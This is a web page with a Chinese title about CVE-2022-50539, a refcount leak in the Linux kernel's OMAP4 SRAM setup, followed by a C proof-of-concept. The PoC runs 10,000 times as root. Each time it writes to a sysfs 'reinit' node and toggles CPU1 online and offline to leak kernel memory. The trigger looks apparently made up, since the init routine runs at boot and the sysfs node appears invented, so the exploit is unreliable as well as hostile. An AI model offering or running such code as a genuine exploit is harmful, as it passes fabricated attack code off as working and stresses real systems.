CVE-2022-50539 Linux内核OMAP4 SRAM初始化引用计数泄漏漏洞

/* * CVE-2022-50539 PoC - Trigger refcount leak in omap4_sram_init() * This PoC demonstrates how to trigger the refcount leak vulnerability * by repeatedly invoking the SRAM initialization path on OMAP4 platforms. * * Note: This requires a system running on OMAP4 hardware with the vulnerable kernel. * Compile with: gcc -o poc poc.c * Run as root or with appropriate privileges. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <errno.h> /* Trigger SRAM re-initialization via sysfs or direct kernel module interaction */ #define OMAP4_SRAM_SYSFS_PATH "/sys/devices/platform/omap4_sram" #define TRIGGER_ITERATIONS 10000 int main(int argc, char *argv[]) { int i; int ret; printf("[+] CVE-2022-50539 Refcount Leak PoC\n"); printf("[+] Target: Linux Kernel ARM OMAP2+ omap4-common\n"); printf("[+] Iterating to trigger refcount leak...\n"); for (i = 0; i < TRIGGER_ITERATIONS; i++) { /* Attempt to trigger omap4_sram_init() path repeatedly */ /* Method 1: Write to sysfs to trigger re-initialization */ int fd = open(OMAP4_SRAM_SYSFS_PATH "/reinit", O_WRONLY); if (fd >= 0) { ret = write(fd, "1", 1); close(fd); } /* Method 2: Attempt CPU hotplug to trigger subsystem re-init */ int cpu_fd = open("/sys/devices/system/cpu/cpu1/online", O_WRONLY); if (cpu_fd >= 0) { /* Toggle CPU online state to trigger re-initialization */ if (i % 2 == 0) { write(cpu_fd, "0", 1); } else { write(cpu_fd, "1", 1); } close(cpu_fd); } if (i % 1000 == 0) { printf("[+] Iteration %d/%d completed\n", i, TRIGGER_ITERATIONS); } } printf("[+] PoC execution completed. Check kernel memory usage.\n"); printf("[+] If vulnerable, kernel memory will show increased usage.\n"); return 0; }